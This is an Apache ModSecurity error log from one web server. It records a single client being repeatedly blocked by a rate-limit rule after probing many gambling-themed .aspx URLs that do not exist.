[Sun Feb 22 01:56:52.974113 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:38254] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aZnx5K9_231lp37V1xxV0gAAAQc"]
[Sun Feb 22 01:56:53.492178 2026] [:error] [pid 3204:tid 3488] [client 51.83.237.175:38260] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZnx5XAwnUMG8727rz4aQQAAAJY"]
[Sun Feb 22 01:56:54.859208 2026] [:error] [pid 3195:tid 3454] [client 51.83.237.175:38274] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZnx5g28anZ1nWyZCI5G4gAAAE8"]
[Sun Feb 22 01:56:55.051310 2026] [:error] [pid 3516:tid 3528] [client 51.83.237.175:38284] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZnx50taWLejEJFWY3FBVAAAAMk"]
[Sun Feb 22 01:56:55.472091 2026] [:error] [pid 3204:tid 3489] [client 51.83.237.175:38292] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZnx53AwnUMG8727rz4aQwAAAJc"]
[Sun Feb 22 01:56:55.649251 2026] [:error] [pid 3195:tid 3462] [client 51.83.237.175:38306] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZnx5w28anZ1nWyZCI5G5QAAAFc"]
[Sun Feb 22 01:56:57.036394 2026] [:error] [pid 4789:tid 4813] [client 51.83.237.175:59256] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZnx6a9_231lp37V1xxV2gAAARY"]
[Sun Feb 22 01:56:57.643818 2026] [:error] [pid 4789:tid 4803] [client 51.83.237.175:59272] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZnx6a9_231lp37V1xxV3AAAAQw"]
[Sun Feb 22 01:56:57.645792 2026] [:error] [pid 3204:tid 3475] [client 51.83.237.175:59274] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZnx6XAwnUMG8727rz4aRwAAAIk"]
[Sun Feb 22 01:56:57.890677 2026] [:error] [pid 3204:tid 3467] [client 51.83.237.175:59276] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aZnx6XAwnUMG8727rz4aSAAAAIE"]
[Sun Feb 22 01:56:59.016811 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:59284] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZnx669_231lp37V1xxV3gAAAQc"]
[Sun Feb 22 01:56:59.686791 2026] [:error] [pid 3204:tid 3478] [client 51.83.237.175:59300] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZnx63AwnUMG8727rz4aSgAAAIw"]
[Sun Feb 22 01:57:00.557539 2026] [:error] [pid 3516:tid 3519] [client 51.83.237.175:59308] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZnx7EtaWLejEJFWY3FBXwAAAMA"]
[Sun Feb 22 01:57:01.100646 2026] [:error] [pid 4789:tid 4794] [client 51.83.237.175:59316] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZnx7a9_231lp37V1xxV4AAAAQM"]
[Sun Feb 22 01:57:01.626123 2026] [:error] [pid 3516:tid 3532] [client 51.83.237.175:59328] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZnx7UtaWLejEJFWY3FBYAAAAM0"]
[Sun Feb 22 01:57:02.480036 2026] [:error] [pid 3195:tid 3444] [client 51.83.237.175:59344] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZnx7g28anZ1nWyZCI5G8AAAAEU"]
[Sun Feb 22 01:57:03.127506 2026] [:error] [pid 4789:tid 4793] [client 51.83.237.175:59360] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZnx769_231lp37V1xxV5QAAAQI"]
[Sun Feb 22 01:57:03.642260 2026] [:error] [pid 4789:tid 4791] [client 51.83.237.175:59368] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZnx769_231lp37V1xxV5gAAAQA"]
[Sun Feb 22 01:57:05.011840 2026] [:error] [pid 3179:tid 3435] [client 51.83.237.175:59384] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZnx8dgAWCcL8bTGJUUwQwAAABc"]
[Sun Feb 22 01:57:05.248515 2026] [:error] [pid 4789:tid 4807] [client 51.83.237.175:59400] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZnx8a9_231lp37V1xxV6wAAARA"]
[Sun Feb 22 01:57:05.669394 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:59402] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZnx8a9_231lp37V1xxV7QAAAQU"]
[Sun Feb 22 01:57:05.799359 2026] [:error] [pid 3195:tid 3459] [client 51.83.237.175:59414] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aZnx8Q28anZ1nWyZCI5G9QAAAFQ"]
[Sun Feb 22 01:57:09.365444 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:35580] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZnx9a9_231lp37V1xxV9QAAAQg"]
[Sun Feb 22 01:57:11.270216 2026] [:error] [pid 3195:tid 3462] [client 51.83.237.175:35592] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZnx9w28anZ1nWyZCI5G_gAAAFc"]
[Sun Feb 22 01:57:12.455581 2026] [:error] [pid 3195:tid 3458] [client 51.83.237.175:35606] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZnx-A28anZ1nWyZCI5HAQAAAFM"]
[Sun Feb 22 01:57:13.412110 2026] [:error] [pid 3516:tid 3533] [client 51.83.237.175:35620] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZnx-UtaWLejEJFWY3FBawAAAM4"]
[Sun Feb 22 01:57:14.726847 2026] [:error] [pid 4789:tid 4815] [client 51.83.237.175:35634] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZnx-q9_231lp37V1xxV_wAAARg"]
[Sun Feb 22 01:57:15.261450 2026] [:error] [pid 3516:tid 3534] [client 51.83.237.175:35640] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZnx-0taWLejEJFWY3FBbAAAAM8"]
[Sun Feb 22 01:57:15.488354 2026] [:error] [pid 4789:tid 4793] [client 51.83.237.175:35650] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZnx-69_231lp37V1xxWAgAAAQI"]
[Sun Feb 22 01:57:16.269247 2026] [:error] [pid 4789:tid 4810] [client 51.83.237.175:35658] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZnx_K9_231lp37V1xxWBQAAARM"]
[Sun Feb 22 01:57:17.498122 2026] [:error] [pid 3204:tid 3477] [client 51.83.237.175:45936] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZnx_XAwnUMG8727rz4aWQAAAIs"]
[Sun Feb 22 01:57:17.537840 2026] [:error] [pid 3179:tid 3432] [client 51.83.237.175:45942] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZnx_dgAWCcL8bTGJUUwSAAAABQ"]
[Sun Feb 22 01:57:17.932484 2026] [:error] [pid 3516:tid 3537] [client 51.83.237.175:45954] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZnx_UtaWLejEJFWY3FBcAAAANI"]
[Sun Feb 22 01:57:18.695926 2026] [:error] [pid 3204:tid 3472] [client 51.83.237.175:45968] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZnx_nAwnUMG8727rz4aWwAAAIY"]
[Sun Feb 22 01:57:19.499869 2026] [:error] [pid 4789:tid 4803] [client 51.83.237.175:45978] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZnx_69_231lp37V1xxWDQAAAQw"]
[Sun Feb 22 01:57:20.252324 2026] [:error] [pid 4789:tid 4813] [client 51.83.237.175:45984] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZnyAK9_231lp37V1xxWDwAAARY"]
[Sun Feb 22 01:57:20.462591 2026] [:error] [pid 3179:tid 3434] [client 51.83.237.175:45990] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZnyANgAWCcL8bTGJUUwTgAAABY"]
[Sun Feb 22 01:57:21.420016 2026] [:error] [pid 3179:tid 3435] [client 51.83.237.175:46012] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZnyAdgAWCcL8bTGJUUwTwAAABc"]
[Sun Feb 22 01:57:21.466368 2026] [:error] [pid 3516:tid 3525] [client 51.83.237.175:46000] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZnyAUtaWLejEJFWY3FBeAAAAMY"]
[Sun Feb 22 01:57:22.669768 2026] [:error] [pid 3195:tid 3453] [client 51.83.237.175:46014] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZnyAg28anZ1nWyZCI5HDwAAAE4"]
[Sun Feb 22 01:57:23.128428 2026] [:error] [pid 3195:tid 3459] [client 51.83.237.175:46022] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZnyAw28anZ1nWyZCI5HEAAAAFQ"]
[Sun Feb 22 01:57:23.568400 2026] [:error] [pid 3516:tid 3529] [client 51.83.237.175:46024] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZnyA0taWLejEJFWY3FBfAAAAMo"]
[Sun Feb 22 01:57:24.559846 2026] [:error] [pid 3516:tid 3523] [client 51.83.237.175:46026] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZnyBEtaWLejEJFWY3FBfgAAAMQ"]
[Sun Feb 22 01:57:25.527985 2026] [:error] [pid 3195:tid 3452] [client 51.83.237.175:46028] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZnyBQ28anZ1nWyZCI5HFQAAAE0"]
[Sun Feb 22 01:57:25.622241 2026] [:error] [pid 3195:tid 3455] [client 51.83.237.175:46038] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZnyBQ28anZ1nWyZCI5HFwAAAFA"]
[Sun Feb 22 01:57:26.689309 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:46042] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZnyBq9_231lp37V1xxWEgAAAQU"]
[Sun Feb 22 01:57:27.097750 2026] [:error] [pid 4789:tid 4797] [client 51.83.237.175:41396] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZnyB69_231lp37V1xxWFAAAAQY"]
[Sun Feb 22 01:57:27.645446 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:41404] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZnyB0taWLejEJFWY3FBhwAAAME"]
[Sun Feb 22 01:57:28.915352 2026] [:error] [pid 3195:tid 3459] [client 51.83.237.175:41410] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZnyCA28anZ1nWyZCI5HHAAAAFQ"]
[Sun Feb 22 01:57:28.967182 2026] [:error] [pid 3204:tid 3473] [client 51.83.237.175:41424] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZnyCHAwnUMG8727rz4aYQAAAIc"]
[Sun Feb 22 01:57:29.294828 2026] [:error] [pid 3204:tid 3480] [client 51.83.237.175:41428] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZnyCXAwnUMG8727rz4aYgAAAI4"]
[Sun Feb 22 01:57:29.828833 2026] [:error] [pid 3195:tid 3439] [client 51.83.237.175:41434] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZnyCQ28anZ1nWyZCI5HHgAAAEA"]
[Sun Feb 22 01:57:31.221542 2026] [:error] [pid 3179:tid 3433] [client 51.83.237.175:41452] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZnyC9gAWCcL8bTGJUUwUAAAABU"]
[Sun Feb 22 01:57:31.284034 2026] [:error] [pid 3204:tid 3483] [client 51.83.237.175:41450] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZnyC3AwnUMG8727rz4aZAAAAJE"]
[Sun Feb 22 01:57:31.962178 2026] [:error] [pid 3179:tid 3427] [client 51.83.237.175:41464] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZnyC9gAWCcL8bTGJUUwUgAAAA8"]
